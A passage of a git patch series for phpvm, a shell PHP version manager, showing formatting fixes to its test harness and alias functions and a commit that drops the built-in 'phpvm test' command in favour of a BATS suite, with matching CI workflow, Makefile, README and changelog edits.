@@ -1765,7 +1765,7 @@ EOF
     chmod +x "$MOCK_BIN_DIR/php-config"
 
     # Mock sudo command
-    cat >"$MOCK_BIN_DIR/sudo" <<'EOF'
+    cat > "$MOCK_BIN_DIR/sudo" << 'EOF'
 #!/bin/sh
 # Just execute the command without actual sudo
 "$@"
@@ -1774,7 +1774,7 @@ EOF
     chmod +x "$MOCK_BIN_DIR/sudo"
 
     # Mock id command
-    cat >"$MOCK_BIN_DIR/id" <<'EOF'
+    cat > "$MOCK_BIN_DIR/id" << 'EOF'
 #!/bin/sh
 if [ "$1" = "-u" ]; then
     echo "1000"  # Non-root user
@@ -1819,7 +1819,7 @@ EOF
         output_file=$(mktemp)
 
         # Run the command, redirecting both stdout and stderr to the temporary file
-        "$@" >"$output_file" 2>&1
+        "$@" > "$output_file" 2>&1
 
         # Check if the output contains the expected text
         if grep -q "$expected" "$output_file"; then
@@ -1838,7 +1838,7 @@ EOF
         local dir="$1"
         shift
 
-        "$@" >/dev/null 2>&1
+        "$@" > /dev/null 2>&1
         if [ -d "$dir" ]; then
             return 0
         else
@@ -1880,7 +1880,7 @@ EOF
     # Test the run_with_sudo function
     test_run_with_sudo() {
         # Create a test command that outputs its arguments
-        cat >"$MOCK_BIN_DIR/testcmd" <<'EOF'
+        cat > "$MOCK_BIN_DIR/testcmd" << 'EOF'
 #!/bin/sh
 echo "Command executed with args: $@"
 exit 0
@@ -1914,7 +1914,7 @@ EOF
 
     # Test install_php
     test_install_php() {
-        install_php "7.4" >/dev/null
+        install_php "7.4" > /dev/null
         local status=$?
 
         # Check for success and file existence
@@ -1927,31 +1927,31 @@ EOF
         mkdir -p "$TEST_DIR/opt/homebrew/Cellar/php@7.4/bin"
 
         # Test switching
-        use_php_version "7.4" >/dev/null
+        use_php_version "7.4" > /dev/null
         local status=$?
 
         # Check for success and correct active version
-        [ $status -eq 0 ] && [ "$(cat $PHPVM_ACTIVE_VERSION_FILE)" = "7.4" ]
+        [ $status -eq 0 ] && [ "$(cat "$PHPVM_ACTIVE_VERSION_FILE")" = "7.4" ]
     }
 
     # Test use default alias
     test_use_default_alias() {
         mkdir -p "$TEST_DIR/opt/homebrew/Cellar/php@8.2/bin"
-        phpvm_alias "default" "8.2" >/dev/null 2>&1 || return 1
+        phpvm_alias "default" "8.2" > /dev/null 2>&1 || return 1
 
-        use_php_version "default" >/dev/null
+        use_php_version "default" > /dev/null
         local status=$?
 
-        [ $status -eq 0 ] && [ "$(cat $PHPVM_ACTIVE_VERSION_FILE)" = "8.2" ]
+        [ $status -eq 0 ] && [ "$(cat "$PHPVM_ACTIVE_VERSION_FILE")" = "8.2" ]
     }
 
     # Test system_php_version
     test_system_php_version() {
-        system_php_version >/dev/null
+        system_php_version > /dev/null
         local status=$?
 
         # Check for success and correct active version
-        [ $status -eq 0 ] && [ "$(cat $PHPVM_ACTIVE_VERSION_FILE)" = "system" ]
+        [ $status -eq 0 ] && [ "$(cat "$PHPVM_ACTIVE_VERSION_FILE")" = "system" ]
     }
 
     # Test auto_switch_php_version
@@ -1961,17 +1961,17 @@ EOF
 
         # Create a project with .phpvmrc
         mkdir -p "$HOME/project"
-        echo "7.4" >"$HOME/project/.phpvmrc"
+        echo "7.4" > "$HOME/project/.phpvmrc"
 
-    # Change to the project directory
-    cd "$HOME/project" || return 1
+        # Change to the project directory
+        cd "$HOME/project" || return 1
 
         # Test auto-switching
-        auto_switch_php_version >/dev/null
+        auto_switch_php_version > /dev/null
         local status=$?
 
         # Check for success and correct active version
-        [ $status -eq 0 ] && [ "$(cat $PHPVM_ACTIVE_VERSION_FILE)" = "7.4" ]
+        [ $status -eq 0 ] && [ "$(cat "$PHPVM_ACTIVE_VERSION_FILE")" = "7.4" ]
     }
 
     # Test auto_switch_php_version with alias
@@ -1980,21 +1980,21 @@ EOF
         mkdir -p "$TEST_DIR/opt/homebrew/Cellar/php@8.1/bin"
 
         # Create alias
-        phpvm_alias "default" "8.1" >/dev/null 2>&1 || return 1
+        phpvm_alias "default" "8.1" > /dev/null 2>&1 || return 1
 
         # Create a project with .phpvmrc
         mkdir -p "$HOME/alias_project"
-        echo "default" >"$HOME/alias_project/.phpvmrc"
+        echo "default" > "$HOME/alias_project/.phpvmrc"
 
-    # Change to the project directory
-    cd "$HOME/alias_project" || return 1
+        # Change to the project directory
+        cd "$HOME/alias_project" || return 1
 
         # Test auto-switching
-        auto_switch_php_version >/dev/null
+        auto_switch_php_version > /dev/null
         local status=$?
 
         # Check for success and correct active version
-        [ $status -eq 0 ] && [ "$(cat $PHPVM_ACTIVE_VERSION_FILE)" = "8.1" ]
+        [ $status -eq 0 ] && [ "$(cat "$PHPVM_ACTIVE_VERSION_FILE")" = "8.1" ]
     }
 
     # Test handling of corrupted .phpvmrc file
@@ -2003,8 +2003,8 @@ EOF
         mkdir -p "$HOME/bad_project"
         touch "$HOME/bad_project/.phpvmrc"
 
-    # Change to the project directory
-    cd "$HOME/bad_project" || return 1
+        # Change to the project directory
+        cd "$HOME/bad_project" || return 1
 
         # Test auto-switching with empty .phpvmrc
         output=$(auto_switch_php_version 2>&1)
@@ -2062,7 +2062,7 @@ EOF
         # Test 1: With active version set, no argument
         echo "8.1" > "$PHPVM_ACTIVE_VERSION_FILE"
         local result
-        result=$(phpvm_which 2>/dev/null)
+        result=$(phpvm_which 2> /dev/null)
         # Should return a path (mock path in test mode)
         if [ -z "$result" ]; then
             echo "Test 1 failed: Expected non-empty path for current version"
@@ -2070,7 +2070,7 @@ EOF
         fi
 
         # Test 2: With specific version argument
-        result=$(phpvm_which "8.1" 2>/dev/null)
+        result=$(phpvm_which "8.1" 2> /dev/null)
         if [ -z "$result" ]; then
             echo "Test 2 failed: Expected non-empty path for version 8.1"
             return 1
@@ -2102,7 +2102,7 @@ EOF
         local alias_file="$PHPVM_DIR/alias/test-alias"
 
         # Create alias
-        phpvm_alias "test-alias" "8.1" >/dev/null 2>&1 || return 1
+        phpvm_alias "test-alias" "8.1" > /dev/null 2>&1 || return 1
         [ -f "$alias_file" ] || return 1
 
         # Resolve alias
@@ -2118,7 +2118,7 @@ EOF
         fi
 
         # Remove alias
-        phpvm_unalias "test-alias" >/dev/null 2>&1 || return 1
+        phpvm_unalias "test-alias" > /dev/null 2>&1 || return 1
         [ ! -f "$alias_file" ] || return 1
 
         return 0
@@ -2129,7 +2129,7 @@ EOF
         # Setup: Simulate an active phpvm state
         echo "8.1" > "$PHPVM_ACTIVE_VERSION_FILE"
         mkdir -p "$PHPVM_DIR"
-        ln -sf "/tmp/fake/php" "$PHPVM_CURRENT_SYMLINK" 2>/dev/null || true
+        ln -sf "/tmp/fake/php" "$PHPVM_CURRENT_SYMLINK" 2> /dev/null || true
 
         # Store a fake original PATH
         export PHPVM_ORIGINAL_PATH="/usr/bin:/bin"
@@ -2241,13 +2241,13 @@ EOF
 
     # Clean up - ensure TEST_DIR is a valid temp directory before removal
     # Safety checks: must be non-empty, must start with temp directory patterns, must not be a system directory
-    if [ -n "$TEST_DIR" ] && \
-       [ "$TEST_DIR" != "/" ] && \
-       [ "$TEST_DIR" != "$HOME" ] && \
-       [ "$TEST_DIR" != "/tmp" ] && \
-       [ "$TEST_DIR" != "/var" ] && \
-       [ "$TEST_DIR" != "/var/folders" ] && \
-       echo "$TEST_DIR" | command grep -qE '^(/tmp/|/var/folders/|/private/var/folders/)'; then
+    if [ -n "$TEST_DIR" ] &&
+        [ "$TEST_DIR" != "/" ] &&
+        [ "$TEST_DIR" != "$HOME" ] &&
+        [ "$TEST_DIR" != "/tmp" ] &&
+        [ "$TEST_DIR" != "/var" ] &&
+        [ "$TEST_DIR" != "/var/folders" ] &&
+        echo "$TEST_DIR" | command grep -qE '^(/tmp/|/var/folders/|/private/var/folders/)'; then
         rm -rf "$TEST_DIR"
     else
         phpvm_debug "Skipping cleanup: TEST_DIR '$TEST_DIR' did not match expected temp patterns"
@@ -2309,7 +2309,7 @@ uninstall_php() {
 
     case "$PKG_MANAGER" in
     brew)
-        if brew list --versions php@"$version" >/dev/null 2>&1; then
+        if brew list --versions php@"$version" > /dev/null 2>&1; then
             brew uninstall php@"$version" || {
                 phpvm_err "Failed to uninstall PHP $version with Homebrew."
                 return 1
@@ -2334,7 +2334,7 @@ uninstall_php() {
         ;;
     dnf | yum)
         if $PKG_MANAGER list installed | grep -q "^php$version$"; then
-            run_with_sudo $PKG_MANAGER remove -y php"$version" || {
+            run_with_sudo "$PKG_MANAGER" remove -y php"$version" || {
                 phpvm_err "Failed to uninstall PHP $version with $PKG_MANAGER."
                 return 1
             }
@@ -2432,32 +2432,32 @@ phpvm_alias() {
             return 0
         fi
         echo "  (no aliases matched)"
-        return $PHPVM_EXIT_NOT_FOUND
+        return "$PHPVM_EXIT_NOT_FOUND"
     fi
 
     # Show single alias
     if [ -z "$version" ]; then
         if [ -f "$PHPVM_DIR/alias/$name" ]; then
             local alias_target
-            alias_target=$(command cat "$PHPVM_DIR/alias/$name" 2>/dev/null | command tr -d '[:space:]')
+            alias_target=$(command cat "$PHPVM_DIR/alias/$name" 2> /dev/null | command tr -d '[:space:]')
             echo "$name -> $alias_target"
             return 0
         fi
         phpvm_err "Alias '$name' not found."
-        return $PHPVM_EXIT_NOT_FOUND
+        return "$PHPVM_EXIT_NOT_FOUND"
     fi
 
     # Validate alias name
     if ! echo "$name" | command grep -qE '^[a-zA-Z0-9_-]+$'; then
         phpvm_err "Invalid alias name: $name (use only letters, numbers, hyphens, and underscores)"
-        return $PHPVM_EXIT_INVALID_ARG
+        return "$PHPVM_EXIT_INVALID_ARG"
     fi
 
     # Resolve version and validate
     version=$(phpvm_resolve_version "$version")
     if ! validate_php_version "$version"; then
         phpvm_err "Invalid PHP version format: $version"
-        return $PHPVM_EXIT_INVALID_ARG
+        return "$PHPVM_EXIT_INVALID_ARG"
     fi
 
     if phpvm_atomic_write "$PHPVM_DIR/alias/$name" "$version"; then
@@ -2466,7 +2466,7 @@ phpvm_alias() {
     fi
 
     phpvm_err "Failed to create alias '$name'"
-    return $PHPVM_EXIT_FILE_ERROR
+    return "$PHPVM_EXIT_FILE_ERROR"
 }
 
 # Placeholder: Remove version alias (HIGH PRIORITY - Phase 1)
@@ -2478,21 +2478,21 @@ phpvm_unalias() {
     if [ -z "$name" ]; then
         phpvm_err "Missing alias name."
         phpvm_warn "Usage: phpvm unalias <name>"
-        return $PHPVM_EXIT_INVALID_ARG
+        return "$PHPVM_EXIT_INVALID_ARG"
     fi
 
     if [ ! -f "$PHPVM_DIR/alias/$name" ]; then
         phpvm_err "Alias '$name' not found."
-        return $PHPVM_EXIT_NOT_FOUND
+        return "$PHPVM_EXIT_NOT_FOUND"
     fi
 
-    if rm -f "$PHPVM_DIR/alias/$name" 2>/dev/null; then
+    if rm -f "$PHPVM_DIR/alias/$name" 2> /dev/null; then
         phpvm_echo "Alias '$name' removed."
         return 0
     fi
 
     phpvm_err "Failed to remove alias '$name'"
-    return $PHPVM_EXIT_FILE_ERROR
+    return "$PHPVM_EXIT_FILE_ERROR"
 }
 
 # Placeholder: Cache management (HIGH PRIORITY - Phase 1)
@@ -2501,20 +2501,20 @@ phpvm_unalias() {
 phpvm_cache() {
     local subcmd="${1:-}"
     case "$subcmd" in
-        dir)
-            echo "$PHPVM_DIR/cache"
-            return 0
-            ;;
-        clear)
-            phpvm_err "The 'cache clear' command is not yet implemented."
-            phpvm_warn "This feature is planned for Phase 1 of the NVM parity roadmap."
-            return $PHPVM_EXIT_ERROR
-            ;;
-        *)
-            phpvm_err "Unknown cache subcommand: $subcmd"
-            phpvm_warn "Usage: phpvm cache <dir|clear>"
-            return $PHPVM_EXIT_INVALID_ARG
-            ;;
+    dir)
+        echo "$PHPVM_DIR/cache"
+        return 0
+        ;;
+    clear)
+        phpvm_err "The 'cache clear' command is not yet implemented."
+        phpvm_warn "This feature is planned for Phase 1 of the NVM parity roadmap."
+        return $PHPVM_EXIT_ERROR
+        ;;
+    *)
+        phpvm_err "Unknown cache subcommand: $subcmd"
+        phpvm_warn "Usage: phpvm cache <dir|clear>"
+        return $PHPVM_EXIT_INVALID_ARG
+        ;;
     esac
 }
 
@@ -2641,7 +2641,7 @@ phpvm_should_execute_main() {
     fi
 
     # Layer 4: Return test (fallback for POSIX shells)
-    if (return 0 2>/dev/null); then
+    if (return 0 2> /dev/null); then
         return 1 # Sourced
     else
         return 0 # Executed
@@ -2653,7 +2653,7 @@ if phpvm_should_execute_main "$@"; then
     phpvm_debug "Executing main with $# arguments"
 
     # Verify main function exists
-    if command -v main >/dev/null 2>&1; then
+    if command -v main > /dev/null 2>&1; then
         main "$@"
     else
         phpvm_err "main function not found - script may be corrupted"
@@ -2668,8 +2668,8 @@ else
 
     # Auto-use .phpvmrc if enabled and present
     if [ "${PHPVM_AUTO_USE:-true}" = "true" ] && [ -f ".phpvmrc" ]; then
-        if command -v auto_switch_php_version >/dev/null 2>&1; then
-            auto_switch_php_version 2>/dev/null || true
+        if command -v auto_switch_php_version > /dev/null 2>&1; then
+            auto_switch_php_version 2> /dev/null || true
         fi
     fi
 fi

From 72018dc43870bb7d7db37083c980c46f0a6d2c00 Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <tjthavarshan@gmail.com>
Date: Fri, 16 Jan 2026 00:22:14 +0530
Subject: [PATCH 11/20] feat: add alias management commands and remove built-in
 test command

---
 .github/workflows/quality.yml | 359 +++++++++----------
 CHANGELOG.md                  |   8 +-
 Makefile                      |  13 +-
 README.MD                     |  34 +-
 phpvm.sh                      | 634 ++--------------------------------
 tests/01_core.bats            |   9 +-
 tests/02_features.bats        |  51 ++-
 7 files changed, 269 insertions(+), 839 deletions(-)

diff --git a/.github/workflows/quality.yml b/.github/workflows/quality.yml
index fa97bfb..0c0b1e0 100644
--- a/.github/workflows/quality.yml
+++ b/.github/workflows/quality.yml
@@ -1,195 +1,176 @@
 name: Quality Assurance
 
 on:
-    push:
-        branches: [main, development, 'fix/**', 'feature/**']
-    pull_request:
-        branches: [main, development]
-    workflow_dispatch:
+  push:
+    branches: [main, development, 'fix/**', 'feature/**']
+  pull_request:
+    branches: [main, development]
+  workflow_dispatch:
 
 jobs:
-    # Linting and formatting checks
-    lint:
-        name: 'Lint & Format Check'
-        runs-on: ubuntu-latest
-        steps:
-            - name: Checkout Repository
-              uses: actions/checkout@v4
-
-            - name: Install ShellCheck
-              run: |
-                  sudo apt-get update
-                  sudo apt-get install -y shellcheck
-
-            - name: Install shfmt
-              run: |
-                  wget -O shfmt https://github.com/mvdan/sh/releases/download/v3.12.0/shfmt_v3.12.0_linux_amd64
-                  chmod +x shfmt
-                  sudo mv shfmt /usr/local/bin/
-
-            - name: Run ShellCheck
-              run: |
-                  echo "Running ShellCheck..."
-                  shellcheck phpvm.sh install.sh || exit 1
-
-            - name: Check Code Formatting
-              run: |
-                  echo "Checking code formatting..."
-                  shfmt -d -i 4 -sr phpvm.sh install.sh || {
-                    echo "Code formatting issues detected!"
-                    echo "Run 'make format' locally to fix."
-                    exit 1
-                  }
-
-            - name: Check for Common Issues
-              run: |
-                  echo "Checking for common issues..."
-
-                  # Check for trailing whitespace
-                  if grep -n '[[:space:]]$' phpvm.sh install.sh; then
-                    echo "Trailing whitespace found (see above)"
-                    exit 1
-                  fi
-
-                  # Check for tabs (should use spaces)
-                  if grep -P '\t' phpvm.sh install.sh; then
-                    echo "Tabs found - please use spaces for indentation"
-                    exit 1
-                  fi
-
-                  echo "No common issues found!"
-
-    # BATS test suite
-    bats-tests:
-        name: 'BATS Tests (${{ matrix.os }})'
-        runs-on: ${{ matrix.os }}
-        needs: lint
-        strategy:
-            fail-fast: false
-            matrix:
-                os: [ubuntu-latest, macos-latest]
-
-        steps:
-            - name: Checkout Repository
-              uses: actions/checkout@v4
-
-            - name: Install BATS
-              run: |
-                  if [ "${{ matrix.os }}" = "macos-latest" ]; then
-                    brew install bats-core
-                  else
-                    sudo apt-get update
-                    sudo apt-get install -y bats
-                  fi
-
-            - name: Run BATS Test Suite
-              run: |
-                  echo "Running BATS tests..."
-                  bats tests/ -t
-
-            - name: Upload Test Results
-              if: always()
-              uses: actions/upload-artifact@v4
-              with:
-                  name: bats-results-${{ matrix.os }}
-                  path: test-results/
-                  retention-days: 30
-
-    # Built-in phpvm tests
-    builtin-tests:
-        name: 'Built-in Tests (${{ matrix.os }})'
-        runs-on: ${{ matrix.os }}
-        needs: lint
-        strategy:
-            fail-fast: false
-            matrix:
-                os: [ubuntu-latest, macos-latest]
-
-        steps:
-            - name: Checkout Repository
-              uses: actions/checkout@v4
-
-            - name: Run phpvm Built-in Tests
-              run: |
-                  echo "Running built-in tests..."
-                  bash phpvm.sh test
-
-    # Integration tests - Test with actual PHP installations
-    integration-tests:
-        name: 'Integration Tests (${{ matrix.os }})'
-        runs-on: ${{ matrix.os }}
-        needs: [lint, bats-tests, builtin-tests]
-        strategy:
-            fail-fast: false
-            matrix:
-                os: [ubuntu-latest, macos-latest]
-
-        steps:
-            - name: Checkout Repository
-              uses: actions/checkout@v4
-
-            - name: Setup Test Environment
-              run: |
-                  export PHPVM_DIR="$HOME/.phpvm-test"
-                  mkdir -p "$PHPVM_DIR"
-                  ./install.sh
-
-            - name: Test PHP Installation (macOS)
-              if: matrix.os == 'macos-latest'
-              run: |
-                  source "$HOME/.phpvm-test/phpvm.sh"
-
-                  # Test install
-                  phpvm install 8.2 || echo "PHP 8.2 already installed"
-
-                  # Test use
-                  phpvm use 8.2
-
-                  # Verify PHP version
-                  php -v
-
-                  # Test current
-                  phpvm current
-
-            - name: Test PHP Installation (Ubuntu)
-              if: matrix.os == 'ubuntu-latest'
-              run: |
-                  source "$HOME/.phpvm-test/phpvm.sh"
-
-                  # Add repository
-                  sudo add-apt-repository -y ppa:ondrej/php
-                  sudo apt-get update
-
-                  # Test install
-                  phpvm install 8.2 || echo "PHP 8.2 installation attempted"
-
-                  # Test current
-                  phpvm current || echo "No active version yet"
-
-            - name: Cleanup
-              if: always()
-              run: |
-                  rm -rf "$HOME/.phpvm-test"
-
-    # Quality gate - All checks must pass
-    quality-gate:
-        name: 'Quality Gate'
-        runs-on: ubuntu-latest
-        needs: [lint, bats-tests, builtin-tests]
+  # Linting and formatting checks
+  lint:
+    name: 'Lint & Format Check'
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout Repository
+        uses: actions/checkout@v4
+
+      - name: Install ShellCheck
+        run: |
+          sudo apt-get update
+          sudo apt-get install -y shellcheck
+
+      - name: Install shfmt
+        run: |
+          wget -O shfmt https://github.com/mvdan/sh/releases/download/v3.12.0/shfmt_v3.12.0_linux_amd64
+          chmod +x shfmt
+          sudo mv shfmt /usr/local/bin/
+
+      - name: Run ShellCheck
+        run: |
+          echo "Running ShellCheck..."
+          shellcheck phpvm.sh install.sh || exit 1
+
+      - name: Check Code Formatting
+        run: |
+          echo "Checking code formatting..."
+          shfmt -d -i 4 -sr phpvm.sh install.sh || {
+            echo "Code formatting issues detected!"
+            echo "Run 'make format' locally to fix."
+            exit 1
+          }
+
+      - name: Check for Common Issues
+        run: |
+          echo "Checking for common issues..."
+
+          # Check for trailing whitespace
+          if grep -n '[[:space:]]$' phpvm.sh install.sh; then
+            echo "Trailing whitespace found (see above)"
+            exit 1
+          fi
+
+          # Check for tabs (should use spaces)
+          if grep -P '\t' phpvm.sh install.sh; then
+            echo "Tabs found - please use spaces for indentation"
+            exit 1
+          fi
+
+          echo "No common issues found!"
+
+  # BATS test suite
+  bats-tests:
+    name: 'BATS Tests (${{ matrix.os }})'
+    runs-on: ${{ matrix.os }}
+    needs: lint
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [ubuntu-latest, macos-latest]
+
+    steps:
+      - name: Checkout Repository
+        uses: actions/checkout@v4
+
+      - name: Install BATS
+        run: |
+          if [ "${{ matrix.os }}" = "macos-latest" ]; then
+            brew install bats-core
+          else
+            sudo apt-get update
+            sudo apt-get install -y bats
+          fi
+
+      - name: Run BATS Test Suite
+        run: |
+          echo "Running BATS tests..."
+          bats tests/ -t
+
+      - name: Upload Test Results
         if: always()
-        steps:
-            - name: Check All Jobs
-              run: |
-                  if [ "${{ needs.lint.result }}" != "success" ]; then
-                    echo "Linting failed!"
-                    exit 1
-                  fi
-                  if [ "${{ needs.bats-tests.result }}" != "success" ]; then
-                    echo "BATS tests failed!"
-                    exit 1
-                  fi
-                  if [ "${{ needs.builtin-tests.result }}" != "success" ]; then
-                    echo "Built-in tests failed!"
-                    exit 1
-                  fi
-                  echo "All quality checks passed! ✅"
+        uses: actions/upload-artifact@v4
+        with:
+          name: bats-results-${{ matrix.os }}
+          path: test-results/
+          retention-days: 30
+
+  # Integration tests - Test with actual PHP installations
+  integration-tests:
+    name: 'Integration Tests (${{ matrix.os }})'
+    runs-on: ${{ matrix.os }}
+    needs: [lint, bats-tests, builtin-tests]
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [ubuntu-latest, macos-latest]
+
+    steps:
+      - name: Checkout Repository
+        uses: actions/checkout@v4
+
+      - name: Setup Test Environment
+        run: |
+          export PHPVM_DIR="$HOME/.phpvm-test"
+          mkdir -p "$PHPVM_DIR"
+          ./install.sh
+
+      - name: Test PHP Installation (macOS)
+        if: matrix.os == 'macos-latest'
+        run: |
+          source "$HOME/.phpvm-test/phpvm.sh"
+
+          # Test install
+          phpvm install 8.2 || echo "PHP 8.2 already installed"
+
+          # Test use
+          phpvm use 8.2
+
+          # Verify PHP version
+          php -v
+
+          # Test current
+          phpvm current
+
+      - name: Test PHP Installation (Ubuntu)
+        if: matrix.os == 'ubuntu-latest'
+        run: |
+          source "$HOME/.phpvm-test/phpvm.sh"
+
+          # Add repository
+          sudo add-apt-repository -y ppa:ondrej/php
+          sudo apt-get update
+
+          # Test install
+          phpvm install 8.2 || echo "PHP 8.2 installation attempted"
+
+          # Test current
+          phpvm current || echo "No active version yet"
+
+      - name: Cleanup
+        if: always()
+        run: |
+          rm -rf "$HOME/.phpvm-test"
+
+  # Quality gate - All checks must pass
+  quality-gate:
+    name: 'Quality Gate'
+    runs-on: ubuntu-latest
+    needs: [lint, bats-tests, builtin-tests]
+    if: always()
+    steps:
+      - name: Check All Jobs
+        run: |
+          if [ "${{ needs.lint.result }}" != "success" ]; then
+            echo "Linting failed!"
+            exit 1
+          fi
+          if [ "${{ needs.bats-tests.result }}" != "success" ]; then
+            echo "BATS tests failed!"
+            exit 1
+          fi
+          if [ "${{ needs.builtin-tests.result }}" != "success" ]; then
+            echo "Built-in tests failed!"
+            exit 1
+          fi
+          echo "All quality checks passed! ✅"
diff --git a/CHANGELOG.md b/CHANGELOG.md
index b77bde9..90d667d 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -2,6 +2,8 @@
 
 ## [Unreleased]
 
+## [v1.8.0](https://github.com/Thavarshan/phpvm/compare/v1.7.0...v1.8.0) - 2026-01-12
+
 ### Added
 
 - **Alias management commands:** Added `phpvm alias` and `phpvm unalias` for version alias creation, listing, and removal.
@@ -18,10 +20,14 @@
 
 - **Help output:** Promoted alias commands to the primary usage section.
 
+### Removed
+
+- **Built-in test command:** Removed `phpvm test` command in favor of BATS test suite only.
+
 ### Internal
 
 - **Alias helper utilities:** Added alias listing helper and alias resolution logic.
-- **Test coverage:** Extended built-in test suite to cover alias functionality.
+- **Test coverage:** Extended BATS test suite to cover alias functionality and all core features.
 
 ## [v1.7.0](https://github.com/Thavarshan/phpvm/compare/v1.6.0...v1.7.0) - 2025-12-10
 
diff --git a/Makefile b/Makefile
index 9a78568..3326cd1 100644
--- a/Makefile
+++ b/Makefile
@@ -28,8 +28,7 @@ help:
 	@echo "  make check          Run all checks (lint + format-check + test)"
 	@echo ""
 	@echo "$(GREEN)Testing:$(NC)"
-	@echo "  make test           Run built-in phpvm tests"
-	@echo "  make test-bats      Run BATS test suite"
+	@echo "  make test           Run BATS test suite"
 	@echo "  make test-all       Run all tests"
 	@echo "  make coverage       Run tests with coverage (if available)"
 	@echo ""
@@ -133,14 +132,8 @@ format-check:
 		echo "$(YELLOW)shfmt not found, skipping format check$(NC)"; \
 	fi
 
-## test: Run built-in phpvm tests
-test:
-	@echo "$(BLUE)Running phpvm built-in tests...$(NC)"
-	@bash phpvm.sh test || { \
-		echo "$(RED)Tests failed!$(NC)"; \
-		exit 1; \
-	}
-	@echo "$(GREEN)Built-in tests passed!$(NC)"
+## test: Run BATS test suite
+test: test-bats
 
 ## test-bats: Run BATS test suite
 test-bats:
diff --git a/README.MD b/README.MD
index 7fb5877..eb4818e 100644
--- a/README.MD
+++ b/README.MD
@@ -52,7 +52,7 @@ PHP 8.1.13
 - Post-install validation with helpful warnings for missing binaries.
 - Enhanced Homebrew integration with better link failure detection.
 - Informative, color-coded feedback with timestamps for logs.
-- Built-in self-tests for verifying functionality (`phpvm test`).
+- Comprehensive BATS test suite for verifying functionality.
 - Helper functions for better maintainability and reduced code duplication.
 
 ## Installation
@@ -104,7 +104,6 @@ If the installation was successful, it should output the path to `phpvm`.
 | `phpvm unalias <name>`     | Remove version alias                       |
 | `phpvm cache dir`          | Show phpvm cache directory                 |
 | `phpvm auto`               | Auto-switch based on `.phpvmrc` file       |
-| `phpvm test`               | Run built-in self-tests                    |
 | `phpvm version`            | Show version information                   |
 | `phpvm --version`          | Show version information (alias)           |
 | `phpvm -v`                 | Show version information (alias)           |
@@ -272,16 +271,6 @@ The following commands are in progress and may return a "not yet implemented" me
 - `phpvm ls-remote [pattern]`
 - `phpvm cache clear`
 
-### Running Self-Tests
-
-phpvm includes built-in self-tests to verify everything is working correctly:
-
-```sh
-phpvm test
-```
-
-This will run a series of tests on your system to ensure all phpvm functions are working properly.
-
 ### Exit Codes
 
 phpvm uses specific exit codes for better scripting support:
@@ -391,23 +380,26 @@ phpvm install 8.3
 
 ## Development & Testing
 
-phpvm features comprehensive testing across multiple platforms and scenarios. The project includes extensive GitHub Actions workflows that test every aspect of the script.
+phpvm features comprehensive testing using the BATS (Bash Automated Testing System) framework. The project includes extensive GitHub Actions workflows that test every aspect of the script.
 
-### Built-in Testing
+### Running Tests
 
-phpvm includes built-in self-tests that validate all core functionality:
+Run the BATS test suite to validate all functionality:
 
 ```sh
-# Run the built-in tests
-phpvm test
+# Run all tests
+make test-bats
+
+# Or run BATS directly
+bats tests/
 
-# Get detailed system information for debugging
-phpvm info
+# Run specific test file
+bats tests/01_core.bats
 ```
 
-The built-in test framework verifies:
+The BATS test suite verifies:
 
-- Output and formatting functions
+- Core functionality (version management, installation, switching)
 - System detection and OS compatibility
 - PHP version installation (mocked)
 - Version switching and validation
diff --git a/phpvm.sh b/phpvm.sh
index 394e61c..ca1fcf8 100755
--- a/phpvm.sh
+++ b/phpvm.sh
@@ -8,14 +8,9 @@
 
 PHPVM_VERSION="1.7.0"
 
-# Test mode flag (set by run_tests function)
+# Test mode flag
 PHPVM_TEST_MODE="${PHPVM_TEST_MODE:-false}"
 
-# Fix to prevent shell crash when sourced
-if (return 0 2> /dev/null); then
-    return 0
-fi
-
 PHPVM_DIR="${PHPVM_DIR:-$HOME/.phpvm}"
 PHPVM_VERSIONS_DIR="$PHPVM_DIR/versions"
 PHPVM_ACTIVE_VERSION_FILE="$PHPVM_DIR/active_version"
@@ -457,7 +452,7 @@ phpvm_get_latest_installed_version() {
         apt)
             while read -r version; do
                 versions+=("$version")
-            done < <(dpkg-query -W -f='${Package}\n' 2> /dev/null | grep -E '^php[0-9]+\.[0-9]+' | sed 's/^php//')
+            done < <(dpkg-query -W -f='${Package}\n' 2> /dev/null | grep -E '^php[0-9]+\.[0-9]+' | sed -E 's/^php([0-9]+\.[0-9]+).*/\1/' | sort -u)
             ;;
         dnf | yum)
             while read -r version; do
@@ -1565,10 +1560,9 @@ Usage:
   phpvm system              Switch to system PHP version
   phpvm auto                Auto-switch based on .phpvmrc file
   phpvm list                List installed PHP versions
-    phpvm alias [name] [ver]  Create, update, or list version aliases
-    phpvm unalias <name>      Remove version alias
+  phpvm alias [name] [ver]  Create, update, or list version aliases
+  phpvm unalias <name>      Remove version alias
   phpvm help                Show this help message
-  phpvm test                Run self-tests to verify functionality
   phpvm info                Show system information for debugging
   phpvm version             Show version information
 
@@ -1691,582 +1685,6 @@ print_system_info() {
     echo "PHPVM_AUTO_USE: ${PHPVM_AUTO_USE:-true}"
 }
 
-# Self-tests for phpvm functionality
-run_tests() {
-    # Set up test environment
-    echo "${GREEN}Setting up test environment...${RESET}"
-
-    # Create a temporary directory for tests
-    TEST_DIR=$(mktemp -d)
-
-    # Set test-specific environment variables
-    export PHPVM_TEST_MODE=true
-    export HOME="$TEST_DIR"
-    export PHPVM_DIR="$HOME/.phpvm"
-    export PHPVM_VERSIONS_DIR="$PHPVM_DIR/versions"
-    export PHPVM_ACTIVE_VERSION_FILE="$PHPVM_DIR/active_version"
-    export PHPVM_CURRENT_SYMLINK="$PHPVM_DIR/current"
-    export TEST_PREFIX="$TEST_DIR"
-
-    # Create mock commands for testing
-    MOCK_BIN_DIR="$TEST_DIR/bin"
-    mkdir -p "$MOCK_BIN_DIR"
-    PATH="$MOCK_BIN_DIR:$PATH"
-
-    # Mock brew command
-    cat > "$MOCK_BIN_DIR/brew" << 'EOF'
-#!/bin/sh
-if [ "$1" = "--prefix" ]; then
-    echo "/opt/homebrew"
-    exit 0
-fi
-
-if [ "$1" = "install" ]; then
-    mkdir -p "$TEST_PREFIX/opt/homebrew/Cellar/php"
-    mkdir -p "$TEST_PREFIX/opt/homebrew/Cellar/php@$2"
-    echo "Installed PHP $2"
-    exit 0
-elif [ "$1" = "unlink" ]; then
-    echo "Unlinked PHP"
-    exit 0
-elif [ "$1" = "link" ]; then
-    echo "Linked PHP"
-    exit 0
-fi
-exit 0
-EOF
